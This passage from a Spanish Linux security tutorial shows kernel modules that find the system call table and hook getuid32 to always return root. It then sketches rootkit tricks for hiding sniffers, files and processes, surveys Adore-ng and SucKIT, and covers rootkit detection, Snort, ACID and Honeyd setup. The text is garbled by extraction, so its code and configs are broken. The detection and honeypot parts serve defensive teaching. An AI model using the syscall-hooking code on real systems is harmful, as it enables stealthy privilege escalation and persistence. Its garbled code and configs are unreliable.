6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
